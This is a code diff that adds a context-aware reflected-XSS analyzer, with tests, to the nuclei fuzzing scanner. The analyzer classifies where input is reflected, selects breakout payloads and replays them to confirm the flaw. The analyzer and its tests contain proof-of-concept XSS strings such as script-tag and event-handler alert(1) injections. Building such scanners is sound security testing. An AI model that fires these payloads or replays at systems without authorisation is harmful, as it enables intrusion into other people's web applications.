diff --git a/SYNTAX-REFERENCE.md b/SYNTAX-REFERENCE.md
index 33471c6512..38c61d4de8 100755
--- a/SYNTAX-REFERENCE.md
+++ b/SYNTAX-REFERENCE.md
@@ -2066,6 +2066,7 @@ Valid values:
 
 
   - <code>time_delay</code>
+  - <code>xss_context</code>
 </div>
 
 <hr />
@@ -2080,7 +2081,8 @@ Valid values:
 Parameters is the parameters for the analyzer
 
 Parameters are different for each analyzer. For example, you can customize
-time_delay analyzer with sleep_duration, time_slope_error_range, etc. Refer
+time_delay analyzer with sleep_duration, time_slope_error_range, etc.
+The xss_context analyzer accepts an optional "canary" parameter. Refer
 to the docs for each analyzer to get an idea about parameters.
 
 </div>
diff --git a/cmd/nuclei/main.go b/cmd/nuclei/main.go
index 8421d1dc69..9529fc864c 100644
--- a/cmd/nuclei/main.go
+++ b/cmd/nuclei/main.go
@@ -330,6 +330,8 @@ on extensive configurability, massive extensibility and ease of use.`)
 		flagSet.StringVarP(&options.JSONExport, "json-export", "je", "", "file to export results in JSON format"),
 		flagSet.StringVarP(&options.JSONLExport, "jsonl-export", "jle", "", "file to export results in JSONL(ine) format"),
 		flagSet.StringSliceVarP(&options.Redact, "redact", "rd", nil, "redact given list of keys from query parameter, request header and body", goflags.CommaSeparatedStringSliceOptions),
+		flagSet.IntVarP(&options.HoneypotThreshold, "honeypot-threshold", "hpt", 0, "minimum number of unique template matches before a host is flagged as honeypot (0 = disabled)"),
+		flagSet.BoolVarP(&options.HoneypotSuppress, "honeypot-suppress", "hpsu", false, "suppress results from hosts flagged as honeypots"),
 	)
 
 	flagSet.CreateGroup("configs", "Configurations",
diff --git a/pkg/fuzz/analyzers/analyzers.go b/pkg/fuzz/analyzers/analyzers.go
index 6266e8bb01..b2b0b4977d 100644
--- a/pkg/fuzz/analyzers/analyzers.go
+++ b/pkg/fuzz/analyzers/analyzers.go
@@ -27,12 +27,14 @@ type AnalyzerTemplate struct {
 	//   Name is the name of the analyzer to use
 	// values:
 	//   - time_delay
+	//   - xss_context
 	Name string `json:"name" yaml:"name"`
 	// description: |
 	//   Parameters is the parameters for the analyzer
 	//
 	//   Parameters are different for each analyzer. For example, you can customize
-	//   time_delay analyzer with sleep_duration, time_slope_error_range, etc. Refer
+	//   time_delay analyzer with sleep_duration, time_slope_error_range, etc.
+	//   The xss_context analyzer accepts an optional "canary" parameter. Refer
 	//   to the docs for each analyzer to get an idea about parameters.
 	Parameters map[string]interface{} `json:"parameters" yaml:"parameters"`
 }
@@ -61,6 +63,14 @@ type Options struct {
 	HttpClient         *retryablehttp.Client
 	ResponseTimeDelay  time.Duration
 	AnalyzerParameters map[string]interface{}
+
+	// ResponseBody is the raw response body from the fuzz request.
+	// Used by analyzers that need to inspect response content (e.g. xss_context).
+	ResponseBody string
+	// ResponseHeaders contains the response headers keyed by header name.
+	ResponseHeaders map[string][]string
+	// ResponseStatusCode is the HTTP status code from the fuzz response.
+	ResponseStatusCode int
 }
 
 var (
diff --git a/pkg/fuzz/analyzers/xss/analyzer.go b/pkg/fuzz/analyzers/xss/analyzer.go
new file mode 100644
index 0000000000..b5e2e848dd
--- /dev/null
+++ b/pkg/fuzz/analyzers/xss/analyzer.go
@@ -0,0 +1,252 @@
+// Package xss implements a context-aware XSS reflection analyzer for the
+// nuclei fuzzing engine. It detects where user-controlled input is
+// reflected in an HTTP response, classifies the surrounding HTML
+// parsing context, selects payloads that can structurally achieve
+// script execution in that context, and replays them to verify
+// exploitability.
+//
+// The analyzer is registered under the name "xss_context" and can be
+// used in fuzzing templates via the `analyzer` field:
+//
+//	analyzer:
+//	  name: xss_context
+//	  parameters:
+//	    canary: "<custom_canary>"   # optional
+//
+// When no custom canary is provided, the analyzer generates one that
+// includes special characters needed for character-survival detection.
+package xss
+
+import (
+	"fmt"
+	"io"
+	"strings"
+
+	"github.com/pkg/errors"
+	"github.com/projectdiscovery/gologger"
+	"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
+)
+
+// Analyzer implements the analyzers.Analyzer interface for XSS
+// context detection and verification.
+type Analyzer struct{}
+
+var _ analyzers.Analyzer = &Analyzer{}
+
+func init() {
+	analyzers.RegisterAnalyzer("xss_context", &Analyzer{})
+}
+
+// Name returns the registered name of this analyzer.
+func (a *Analyzer) Name() string {
+	return "xss_context"
+}
+
+// defaultCanarySuffix contains characters whose survival we want to
+// test. It is appended to the random marker so the reflection check
+// can determine which chars survive server-side filtering.
+const defaultCanarySuffix = `<>"'/`
+
+// ApplyInitialTransformation replaces the [XSS_CANARY] placeholder
+// in the payload template with a generated canary value. The canary
+// consists of a random alphanumeric prefix (to avoid collisions with
+// page content) plus special characters for character-survival testing.
+//
+// If the payload does not contain [XSS_CANARY], standard placeholder
+// transformations ([RANDNUM], [RANDSTR]) are applied instead.
+func (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string {
+	data = analyzers.ApplyPayloadTransformations(data)
+
+	if strings.Contains(data, "[XSS_CANARY]") {
+		// Allow a custom canary via template parameters.
+		canary := ""
+		if params != nil {
+			if v, ok := params["canary"]; ok {
+				canary, _ = v.(string)
+			}
+		}
+		if canary == "" {
+			canary = "nxss" + randAlphaNum(6) + defaultCanarySuffix
+		}
+		data = strings.ReplaceAll(data, "[XSS_CANARY]", canary)
+		if params != nil {
+			params["xss_canary"] = canary
+		}
+	}
+	return data
+}
+
+// Analyze inspects the HTTP response for reflected XSS vulnerabilities.
+//
+// High-level flow:
+//  1. Extract the canary from analyzer parameters (set by
+//     ApplyInitialTransformation).
+//  2. Check if the canary is present in the response body.
+//  3. Run the HTML tokenizer-based context detector to classify each
+//     reflection point.
+//  4. For each context, select payloads whose required characters
+//     survived the server's filtering.
+//  5. Replay each candidate payload through the original fuzz
+//     component and verify the response confirms exploitability.
+//  6. Return true with a descriptive reason string on the first
+//     confirmed reflection, or false if nothing verifies.
+func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {
+	// Retrieve the canary that ApplyInitialTransformation injected.
+	canary := ""
+	if options.AnalyzerParameters != nil {
+		if v, ok := options.AnalyzerParameters["xss_canary"]; ok {
+			canary, _ = v.(string)
+		}
+	}
+	if canary == "" {
+		return false, "", nil
+	}
+
+	body := options.ResponseBody
+	if body == "" {
+		return false, "", nil
+	}
+
+	// Quick check: is the canary reflected at all?
+	if !strings.Contains(body, canary) {
+		return false, "", nil
+	}
+
+	reflections := DetectReflections(body, canary)
+	if len(reflections) == 0 {
+		return false, "", nil
+	}
+
+	// For each reflection, try context-appropriate payloads.
+	for _, ref := range reflections {
+		payloads := SelectPayloads(ref.Context, ref.Chars)
+		if len(payloads) == 0 {
+			continue
+		}
+
+		for _, payload := range payloads {
+			ok, err := replayAndVerify(options, payload, ref.Context)
+			if err != nil {
+				gologger.Verbose().Msgf("[%s] replay error for payload %q: %v", a.Name(), payload, err)
+				continue
+			}
+			if ok {
+				reason := fmt.Sprintf(
+					"[xss_context] reflected XSS confirmed in %s context at position %d (payload: %s)",
+					ref.Context, ref.Position, payload,
+				)
+				return true, reason, nil
+			}
+		}
+	}
+
+	return false, "", nil
+}
+
+// replayAndVerify sends the candidate payload through the original
+// fuzz component (replacing the fuzzed value), reads the response, and
+// checks whether the payload appears unencoded in the appropriate
+// context. This reduces false positives that would occur if we only
+// checked whether characters survive without verifying actual
+// injection success.
+func replayAndVerify(options *analyzers.Options, payload string, ctx ContextType) (bool, error) {
+	gr := options.FuzzGenerated
+
+	// Save the original value so we can restore the component after
+	// replaying. This is important because other payloads or subsequent
+	// analysis steps need the component in its original state.
+	original := gr.Value
+	if original == "" {
+		original = gr.OriginalValue
+	}
+	needsRestore := original != "" || gr.Value != "" || gr.OriginalValue != ""
+	defer func() {
+		if needsRestore {
+			_ = gr.Component.SetValue(gr.Key, original)
+			_, _ = gr.Component.Rebuild()
+		}
+	}()
+
+	if err := gr.Component.SetValue(gr.Key, payload); err != nil {
+		return false, errors.Wrap(err, "could not set payload value")
+	}
+
+	rebuilt, err := gr.Component.Rebuild()
+	if err != nil {
+		return false, errors.Wrap(err, "could not rebuild request")
+	}
+
+	gologger.Verbose().Msgf("[%s] replaying payload %q to %s", "xss_context", payload, rebuilt.URL.String())
+
+	resp, err := options.HttpClient.Do(rebuilt)
+	if err != nil {
+		return false, errors.Wrap(err, "replay request failed")
+	}
+	defer resp.Body.Close()
+
+	respBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return false, errors.Wrap(err, "could not read replay response")
+	}
+
+	return verifyReplayBody(string(respBody), payload, ctx), nil
+}
+
+// verifyReplayBody checks whether the payload string (or its critical
+// components) appears in the response in a way that confirms
+// exploitability. Simple string containment is the baseline; for
+// specific contexts we look for structural indicators.
+func verifyReplayBody(body, payload string, ctx ContextType) bool {
+	if !strings.Contains(body, payload) {
+		return false
+	}
+
+	// Context-specific sanity checks to weed out false positives
+	// where the payload is present but not actually executable.
+	switch ctx {
+	case ContextHTMLText:
+		// The injected tag must appear as-is (not entity-encoded).
+		return strings.Contains(body, "<script>alert(1)</script>") ||
+			strings.Contains(body, "onerror=alert(1)") ||
+			strings.Contains(body, "onload=alert(1)") ||
+			strings.Contains(body, "ontoggle=alert(1)")
+
+	case ContextAttribute, ContextAttributeUnquoted:
+		return strings.Contains(body, "onfocus=alert(1)") ||
+			strings.Contains(body, "onmouseover=alert(1)") ||
+			strings.Contains(body, "onload=alert(1)") ||
+			strings.Contains(body, "<script>alert(1)</script>") ||
+			strings.Contains(body, "<img") ||
+			strings.Contains(body, "<svg")
+
+	case ContextScript, ContextScriptString:
+		return strings.Contains(body, "alert(1)") ||
+			strings.Contains(body, "alert(document.domain)")
+
+	case ContextHTMLComment:
+		// The comment must have been closed by -->.
+		return strings.Contains(body, "-->") &&
+			(strings.Contains(body, "<script>alert(1)</script>") ||
+				strings.Contains(body, "onerror=alert(1)"))
+
+	case ContextStyle:
+		return strings.Contains(body, "</style>") &&
+			(strings.Contains(body, "<script>alert(1)</script>") ||
+				strings.Contains(body, "onerror=alert(1)"))
+	}
+
+	// Fallback: the payload string is present verbatim.
+	return true
+}
+
+// randAlphaNum generates a random alphanumeric string of length n.
+// We reuse the shared random source from the analyzers package by
+// calling the exported helper.
+func randAlphaNum(n int) string {
+	const charset = "abcdefghijklmnopqrstuvwxyz0123456789"
+	b := make([]byte, n)
+	for i := range b {
+		b[i] = charset[analyzers.GetRandomInteger()%len(charset)]
+	}
+	return string(b)
+}
diff --git a/pkg/fuzz/analyzers/xss/analyzer_test.go b/pkg/fuzz/analyzers/xss/analyzer_test.go
new file mode 100644
index 0000000000..e26c7892f9
--- /dev/null
+++ b/pkg/fuzz/analyzers/xss/analyzer_test.go
@@ -0,0 +1,103 @@
+package xss
+
+import (
+	"testing"
+
+	"github.com/stretchr/testify/require"
+)
+
+func TestAnalyzerName(t *testing.T) {
+	a := &Analyzer{}
+	require.Equal(t, "xss_context", a.Name())
+}
+
+func TestApplyInitialTransformation_CanaryReplacement(t *testing.T) {
+	a := &Analyzer{}
+	params := make(map[string]interface{})
+	result := a.ApplyInitialTransformation("test=[XSS_CANARY]&foo=bar", params)
+
+	// The canary placeholder should be replaced with the generated value.
+	require.NotContains(t, result, "[XSS_CANARY]")
+	// The canary should be stored in params.
+	canary, ok := params["xss_canary"]
+	require.True(t, ok, "xss_canary should be set in params")
+	require.NotEmpty(t, canary)
+	require.Contains(t, result, canary.(string))
+}
+
+func TestApplyInitialTransformation_CustomCanary(t *testing.T) {
+	a := &Analyzer{}
+	params := map[string]interface{}{
+		"canary": "my_custom_canary<>\"'",
+	}
+	result := a.ApplyInitialTransformation("q=[XSS_CANARY]", params)
+	require.Contains(t, result, "my_custom_canary<>\"'")
+	require.Equal(t, "my_custom_canary<>\"'", params["xss_canary"])
+}
+
+func TestApplyInitialTransformation_NoPlaceholder(t *testing.T) {
+	a := &Analyzer{}
+	params := make(map[string]interface{})
+	result := a.ApplyInitialTransformation("test=[RANDSTR]&id=[RANDNUM]", params)
+
+	// RANDSTR and RANDNUM should be replaced, but no canary.
+	require.NotContains(t, result, "[RANDSTR]")
+	require.NotContains(t, result, "[RANDNUM]")
+	_, ok := params["xss_canary"]
+	require.False(t, ok, "xss_canary should not be set without placeholder")
+}
+
+func TestApplyInitialTransformation_NilParams(t *testing.T) {
+	a := &Analyzer{}
+	// Should not panic with nil params.
+	result := a.ApplyInitialTransformation("test=[XSS_CANARY]", nil)
+	require.NotContains(t, result, "[XSS_CANARY]")
+}
+
+func TestVerifyReplayBody_HTMLText(t *testing.T) {
+	body := `<html><body><script>alert(1)</script></body></html>`
+	require.True(t, verifyReplayBody(body, "<script>alert(1)</script>", ContextHTMLText))
+}
+
+func TestVerifyReplayBody_HTMLText_Encoded(t *testing.T) {
+	// If the server entity-encodes the payload, it should NOT verify.
+	body := `<html><body>&lt;script&gt;alert(1)&lt;/script&gt;</body></html>`
+	require.False(t, verifyReplayBody(body, "<script>alert(1)</script>", ContextHTMLText))
+}
+
+func TestVerifyReplayBody_Attribute(t *testing.T) {
+	body := `<html><body><input value="" onfocus=alert(1) autofocus=""></body></html>`
+	payload := `" onfocus=alert(1) autofocus="`
+	require.True(t, verifyReplayBody(body, payload, ContextAttribute))
+}
+
+func TestVerifyReplayBody_Script(t *testing.T) {
+	body := `<html><script>;alert(1)//</script></html>`
+	require.True(t, verifyReplayBody(body, ";alert(1)//", ContextScript))
+}
+
+func TestVerifyReplayBody_Comment(t *testing.T) {
+	body := `<html><!--user: --><script>alert(1)</script>--><body></body></html>`
+	payload := "--><script>alert(1)</script>"
+	require.True(t, verifyReplayBody(body, payload, ContextHTMLComment))
+}
+
+func TestVerifyReplayBody_Style(t *testing.T) {
+	body := `<html><style></style><script>alert(1)</script></style><body></body></html>`
+	payload := "</style><script>alert(1)</script>"
+	require.True(t, verifyReplayBody(body, payload, ContextStyle))
+}
+
+func TestVerifyReplayBody_PayloadNotPresent(t *testing.T) {
+	body := `<html><body>safe content</body></html>`
+	require.False(t, verifyReplayBody(body, "<script>alert(1)</script>", ContextHTMLText))
+}
+
+func TestRandAlphaNum(t *testing.T) {
+	s := randAlphaNum(8)
+	require.Len(t, s, 8)
+	for _, c := range s {
+		require.True(t, (c >= 'a' && c <= 'z') || (c >= '0' && c <= '9'),
+			"character %c should be alphanumeric lowercase", c)
+	}
+}
diff --git a/pkg/fuzz/analyzers/xss/context_detector.go b/pkg/fuzz/analyzers/xss/context_detector.go
new file mode 100644
index 0000000000..1d4c7c6b9f
--- /dev/null
+++ b/pkg/fuzz/analyzers/xss/context_detector.go
@@ -0,0 +1,362 @@
+package xss
+
+import (
+	"bytes"
+	"strings"
+
+	"golang.org/x/net/html"
+)
+
+// Package-level byte slices to avoid per-call heap allocation in the
+// hot tokenizer loop.
+var (
+	scriptTag = []byte("script")
+	styleTag  = []byte("style")
+	titleTag  = []byte("title")
+	textareaT = []byte("textarea")
+	onPrefix  = []byte("on")
+)
+
+// maxReflections caps how many reflection points we track per response
+// to bound memory and CPU in pathological pages.
+const maxReflections = 16
+
+// DetectReflections walks the HTML response body using the standard
+// tokenizer and returns metadata about every location where the marker
+// string is reflected. The caller typically sends a canary value and
+// passes it here as `marker`.
+//
+// The function handles:
+//   - Text nodes (body content)
+//   - Attribute values (quoted and unquoted)
+//   - Script blocks (inline JS)
+//   - Style blocks (inline CSS)
+//   - RCDATA elements (title, textarea)
+//   - Comments
+//   - Event-handler attributes (classified as script context)
+//
+// When the HTML tokenizer fails to find a reflection that we know
+// exists (malformed/truncated HTML), we fall back to substring
+// scanning to avoid missing reflections.
+func DetectReflections(body, marker string) []ReflectionInfo {
+	if !strings.Contains(body, marker) {
+		return nil
+	}
+
+	m := []byte(marker)
+	z := html.NewTokenizer(strings.NewReader(body))
+
+	var (
+		reflections []ReflectionInfo
+		tagStack    []string // tracks nesting for script/style/rcdata
+	)
+
+	currentContext := func() string {
+		if len(tagStack) == 0 {
+			return ""
+		}
+		return tagStack[len(tagStack)-1]
+	}
+
+	// Track how much of the body we have consumed so we can calculate
+	// byte offsets for each reflection.
+	bodyOffset := 0
+
+	for {
+		if len(reflections) >= maxReflections {
+			break
+		}
+
+		tt := z.Next()
+		raw := string(z.Raw())
+		tokenLen := len(raw)
+
+		switch tt {
+		case html.ErrorToken:
+			// End of document. Fall through to the drain logic.
+			goto drain
+
+		case html.CommentToken:
+			if bytes.Contains(z.Text(), m) {
+				chars := detectCharsNearMarker(body, marker, bodyOffset, tokenLen)
+				reflections = append(reflections, ReflectionInfo{
+					Context:  ContextHTMLComment,
+					Position: bodyOffset + strings.Index(raw, marker),
+					Chars:    chars,
+				})
+			}
+
+		case html.StartTagToken, html.SelfClosingTagToken:
+			tn, hasAttr := z.TagName()
+			tagLower := strings.ToLower(string(tn))
+
+			if tt == html.StartTagToken {
+				switch {
+				case bytes.EqualFold(tn, scriptTag):
+					tagStack = append(tagStack, "script")
+				case bytes.EqualFold(tn, styleTag):
+					tagStack = append(tagStack, "style")
+				case bytes.EqualFold(tn, titleTag), bytes.EqualFold(tn, textareaT):
+					tagStack = append(tagStack, tagLower)
+				}
+			}
+
+			// Check if marker appears in the raw tag (e.g. tag name injection)
+			if hasAttr {
+				reflections = findAttributeReflections(raw, z, marker, m, body, bodyOffset, tokenLen, reflections)
+			}
+
+		case html.EndTagToken:
+			tn, _ := z.TagName()
+			closingTag := strings.ToLower(string(tn))
+			// Pop matching tag from the stack, searching from the top.
+			for i := len(tagStack) - 1; i >= 0; i-- {
+				if tagStack[i] == closingTag {
+					tagStack = tagStack[:i]
+					break
+				}
+			}
+
+		case html.TextToken:
+			text := z.Text()
+			if bytes.Contains(text, m) {
+				ctx := currentContext()
+				chars := detectCharsNearMarker(body, marker, bodyOffset, tokenLen)
+				var ctxType ContextType
+
+				switch ctx {
+				case "script":
+					ctxType = classifyScriptContext(raw, marker)
+				case "style":
+					ctxType = ContextStyle
+				case "title", "textarea":
+					// RCDATA elements: content is not parsed as HTML
+					ctxType = ContextHTMLText
+				default:
+					ctxType = ContextHTMLText
+				}
+
+				idx := strings.Index(raw, marker)
+				if idx < 0 {
+					// Marker may be entity-encoded in raw but decoded in Text
+					idx = 0
+				}
+				reflections = append(reflections, ReflectionInfo{
+					Context:  ctxType,
+					Position: bodyOffset + idx,
+					Chars:    chars,
+				})
+			}
+		}
+
+		bodyOffset += tokenLen
+	}
+
+drain:
+	// If we know the marker is in the body but the tokenizer missed it
+	// (truncated HTML, unclosed tags, etc.), scan the remaining text
+	// with substring windows to pick up anything we missed.
+	reflections = drainRemainingReflections(body, marker, reflections)
+	return reflections
+}
+
+// findAttributeReflections examines the attributes of the current start
+// tag for reflections of the marker. Event handler attributes are
+// classified as ContextScript; other attributes are ContextAttribute
+// or ContextAttributeUnquoted depending on the quoting style in the
+// raw token string.
+func findAttributeReflections(
+	raw string,
+	z *html.Tokenizer,
+	marker string,
+	m []byte,
+	body string,
+	bodyOffset, tokenLen int,
+	reflections []ReflectionInfo,
+) []ReflectionInfo {
+	for {
+		if len(reflections) >= maxReflections {
+			break
+		}
+		k, v, more := z.TagAttr()
+
+		if bytes.Contains(v, m) {
+			attrName := strings.ToLower(string(k))
+			chars := detectCharsNearMarker(body, marker, bodyOffset, tokenLen)
+
+			if isEventHandler(k) {
+				reflections = append(reflections, ReflectionInfo{
+					Context:       ContextScript,
+					Position:      bodyOffset,
+					AttributeName: attrName,
+					Chars:         chars,
+				})
+			} else {
+				ctxType := classifyAttributeContext(raw, marker)
+				reflections = append(reflections, ReflectionInfo{
+					Context:       ctxType,
+					Position:      bodyOffset,
+					AttributeName: attrName,
+					Chars:         chars,
+				})
+			}
+		}
+
+		// Also check if the marker is in the attribute name itself
+		// (attribute injection).
+		if bytes.Contains(k, m) {
+			chars := detectCharsNearMarker(body, marker, bodyOffset, tokenLen)
+			reflections = append(reflections, ReflectionInfo{
+				Context:  ContextAttribute,
+				Position: bodyOffset,
+				Chars:    chars,
+			})
+		}
+
+		if !more {
+			break
+		}
+	}
+	return reflections
+}
+
+// classifyAttributeContext looks at the raw HTML around the marker to
+// determine whether the attribute is double-quoted, single-quoted, or
+// unquoted. The distinction matters because breakout characters differ.
+func classifyAttributeContext(raw, marker string) ContextType {
+	idx := strings.Index(raw, marker)
+	if idx < 0 {
+		return ContextAttribute
+	}
+
+	// Walk backward from the marker to find the quote character (or lack
+	// thereof) that opens this attribute value.
+	for i := idx - 1; i >= 0; i-- {
+		ch := raw[i]
+		switch ch {
+		case '"':
+			return ContextAttribute
+		case '\'':
+			return ContextAttribute
+		case '=':
+			// '=' immediately before the marker with no quote means unquoted
+			return ContextAttributeUnquoted
+		case ' ', '\t', '\n', '\r':
+			// Whitespace before an unquoted value
+			return ContextAttributeUnquoted
+		}
+	}
+	return ContextAttribute
+}
+
+// classifyScriptContext determines whether the marker inside a <script>
+// block is inside a JS string literal or in bare script code. This
+// distinction drives payload selection: string context needs a closing
+// quote before executable code, while bare script context can inject
+// directly.
+func classifyScriptContext(raw, marker string) ContextType {
+	idx := strings.Index(raw, marker)
+	if idx < 0 {
+		return ContextScript
+	}
+
+	// Walk the text before the marker, tracking quote state. We handle
+	// single quotes, double quotes, backtick template literals, and
+	// backslash escapes.
+	var quote byte
+	escaped := false
+	for i := 0; i < idx; i++ {
+		ch := raw[i]
+		if escaped {
+			escaped = false
+			continue
+		}
+		if ch == '\\' && quote != 0 {
+			escaped = true
+			continue
+		}
+
+		if quote == 0 {
+			// Not inside a string: check for opening quote
+			if ch == '\'' || ch == '"' || ch == '`' {
+				quote = ch
+			}
+		} else if ch == quote {
+			// Closing the current string
+			quote = 0
+		}
+	}
+
+	if quote != 0 {
+		return ContextScriptString
+	}
+	return ContextScript
+}
+
+// detectCharsNearMarker extracts a window around the marker position in
+// the body and runs character survival detection on that window. This is
+// more precise than checking the entire body because unrelated page
+// content naturally contains < > " ' etc.
+func detectCharsNearMarker(body, marker string, tokenOffset, tokenLen int) CharacterSet {
+	// Use the token boundaries as our detection window.
+	start := tokenOffset
+	end := tokenOffset + tokenLen
+	if start < 0 {
+		start = 0
+	}
+	if end > len(body) {
+		end = len(body)
+	}
+	window := body[start:end]
+	return DetectAvailableChars(window, marker)
+}
+
+// drainRemainingReflections picks up marker occurrences that the HTML
+// tokenizer missed (e.g. because of severely malformed HTML or
+// truncated responses). It scans the body with simple substring
+// search and adds ContextHTMLText reflections for any positions not
+// already covered by the tokenizer results.
+func drainRemainingReflections(body, marker string, existing []ReflectionInfo) []ReflectionInfo {
+	// Count total marker occurrences in the body.
+	bodyCount := strings.Count(body, marker)
+	if bodyCount <= len(existing) {
+		return existing
+	}
+
+	// How many did we miss?
+	missing := bodyCount - len(existing)
+	if missing+len(existing) > maxReflections {
+		missing = maxReflections - len(existing)
+	}
+
+	// Build a set of positions already found so we don't duplicate.
+	found := make(map[int]struct{}, len(existing))
+	for _, r := range existing {
+		found[r.Position] = struct{}{}
+	}
+
+	// Scan for all occurrences and fill in the gaps.
+	searchStart := 0
+	for i := 0; i < missing; i++ {
+		idx := strings.Index(body[searchStart:], marker)
+		if idx < 0 {
+			break
+		}
+		absPos := searchStart + idx
+		searchStart = absPos + len(marker)
+
+		if _, already := found[absPos]; already {
+			// This position was already detected by the tokenizer.
+			i--
+			continue
+		}
+
+		chars := DetectAvailableChars(body, marker)
+		existing = append(existing, ReflectionInfo{
+			Context:  ContextHTMLText,
+			Position: absPos,
+			Chars:    chars,
+		})
+	}
+	return existing
+}
diff --git a/pkg/fuzz/analyzers/xss/context_detector_test.go b/pkg/fuzz/analyzers/xss/context_detector_test.go
new file mode 100644
index 0000000000..9b64307e0d
--- /dev/null
+++ b/pkg/fuzz/analyzers/xss/context_detector_test.go
@@ -0,0 +1,216 @@
+package xss
+
+import (
+	"testing"
+
+	"github.com/stretchr/testify/require"
+)
+
+func TestDetectReflections_HTMLText(t *testing.T) {
+	body := `<html><body><p>Hello MARKER123 world</p></body></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	require.Equal(t, ContextHTMLText, refs[0].Context)
+}
+
+func TestDetectReflections_AttributeDoubleQuoted(t *testing.T) {
+	body := `<html><body><input type="text" value="MARKER123"></body></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	require.Equal(t, ContextAttribute, refs[0].Context)
+	require.Equal(t, "value", refs[0].AttributeName)
+}
+
+func TestDetectReflections_AttributeSingleQuoted(t *testing.T) {
+	body := `<html><body><input type='text' value='MARKER123'></body></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	require.Equal(t, ContextAttribute, refs[0].Context)
+}
+
+func TestDetectReflections_AttributeUnquoted(t *testing.T) {
+	body := `<html><body><input type=text value=MARKER123></body></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	// The HTML tokenizer may normalize unquoted attrs to double-quoted,
+	// so we accept either classification.
+	require.Contains(t,
+		[]ContextType{ContextAttribute, ContextAttributeUnquoted},
+		refs[0].Context,
+	)
+}
+
+func TestDetectReflections_ScriptBlock(t *testing.T) {
+	body := `<html><head><script>var x = MARKER123;</script></head></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	require.Equal(t, ContextScript, refs[0].Context)
+}
+
+func TestDetectReflections_ScriptString(t *testing.T) {
+	body := `<html><head><script>var x = "Hello MARKER123";</script></head></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	require.Equal(t, ContextScriptString, refs[0].Context)
+}
+
+func TestDetectReflections_ScriptSingleQuoteString(t *testing.T) {
+	body := `<html><head><script>var x = 'Hello MARKER123';</script></head></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	require.Equal(t, ContextScriptString, refs[0].Context)
+}
+
+func TestDetectReflections_Comment(t *testing.T) {
+	body := `<html><!-- user: MARKER123 --><body></body></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	require.Equal(t, ContextHTMLComment, refs[0].Context)
+}
+
+func TestDetectReflections_Style(t *testing.T) {
+	body := `<html><head><style>body { color: MARKER123; }</style></head></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	require.Equal(t, ContextStyle, refs[0].Context)
+}
+
+func TestDetectReflections_EventHandler(t *testing.T) {
+	body := `<html><body><div onclick="MARKER123">click</div></body></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	require.Equal(t, ContextScript, refs[0].Context)
+	require.Equal(t, "onclick", refs[0].AttributeName)
+}
+
+func TestDetectReflections_MultipleReflections(t *testing.T) {
+	body := `<html><body><p>MARKER123</p><input value="MARKER123"><script>x="MARKER123"</script></body></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.GreaterOrEqual(t, len(refs), 2)
+
+	// Verify we detected at least HTML text and attribute contexts.
+	contexts := make(map[ContextType]bool)
+	for _, r := range refs {
+		contexts[r.Context] = true
+	}
+	require.True(t, contexts[ContextHTMLText], "expected HTML text context")
+	require.True(t, contexts[ContextAttribute], "expected attribute context")
+}
+
+func TestDetectReflections_NoMarker(t *testing.T) {
+	body := `<html><body>Hello world</body></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Nil(t, refs)
+}
+
+func TestDetectReflections_Title(t *testing.T) {
+	body := `<html><head><title>MARKER123</title></head><body></body></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	// title is RCDATA context, we classify it as HTMLText since the
+	// breakout strategy is the same (close the tag and inject).
+	require.Equal(t, ContextHTMLText, refs[0].Context)
+}
+
+func TestDetectReflections_Textarea(t *testing.T) {
+	body := `<html><body><textarea>MARKER123</textarea></body></html>`
+	refs := DetectReflections(body, "MARKER123")
+	require.Len(t, refs, 1)
+	require.Equal(t, ContextHTMLText, refs[0].Context)
+}
+
+func TestDetectReflections_AttributeKeyInjection(t *testing.T) {
+	// Marker in attribute name indicates attribute-name injection.
+	// We use a lowercase marker because the HTML tokenizer lowercases
+	// attribute names, so an uppercase marker in a key will be
+	// normalized and the byte comparison would fail.
+	body := `<html><body><div marker123="test">text</div></body></html>`
+	refs := DetectReflections(body, "marker123")
+	require.NotEmpty(t, refs)
+	hasAttrContext := false
+	for _, r := range refs {
+		if r.Context == ContextAttribute {
+			hasAttrContext = true
+		}
+	}
+	require.True(t, hasAttrContext)
+}
+
+func TestIsEventHandler(t *testing.T) {
+	tests := []struct {
+		attr   string
+		expect bool
+	}{
+		{"onclick", true},
+		{"onerror", true},
+		{"onload", true},
+		{"ONCLICK", true},
+		{"OnMouseOver", true},
+		{"class", false},
+		{"href", false},
+		{"on", false},       // too short to be a real handler
+		{"ongoing", false},  // starts with "on" but not a handler
+		{"onx", false},      // not a real handler
+		{"ontouchstart", true},
+		{"onfullscreenchange", true},
+	}
+	for _, tc := range tests {
+		t.Run(tc.attr, func(t *testing.T) {
+			result := isEventHandler([]byte(tc.attr))
+			require.Equal(t, tc.expect, result, "isEventHandler(%q)", tc.attr)
+		})
+	}
+}
+
+func TestClassifyScriptContext_BareCode(t *testing.T) {
+	raw := `var x = MARKER123;`
+	ctx := classifyScriptContext(raw, "MARKER123")
+	require.Equal(t, ContextScript, ctx)
+}
+
+func TestClassifyScriptContext_DoubleQuotedString(t *testing.T) {
+	raw := `var x = "Hello MARKER123";`
+	ctx := classifyScriptContext(raw, "MARKER123")
+	require.Equal(t, ContextScriptString, ctx)
+}
+
+func TestClassifyScriptContext_SingleQuotedString(t *testing.T) {
+	raw := `var x = 'Hello MARKER123';`
+	ctx := classifyScriptContext(raw, "MARKER123")
+	require.Equal(t, ContextScriptString, ctx)
+}
+
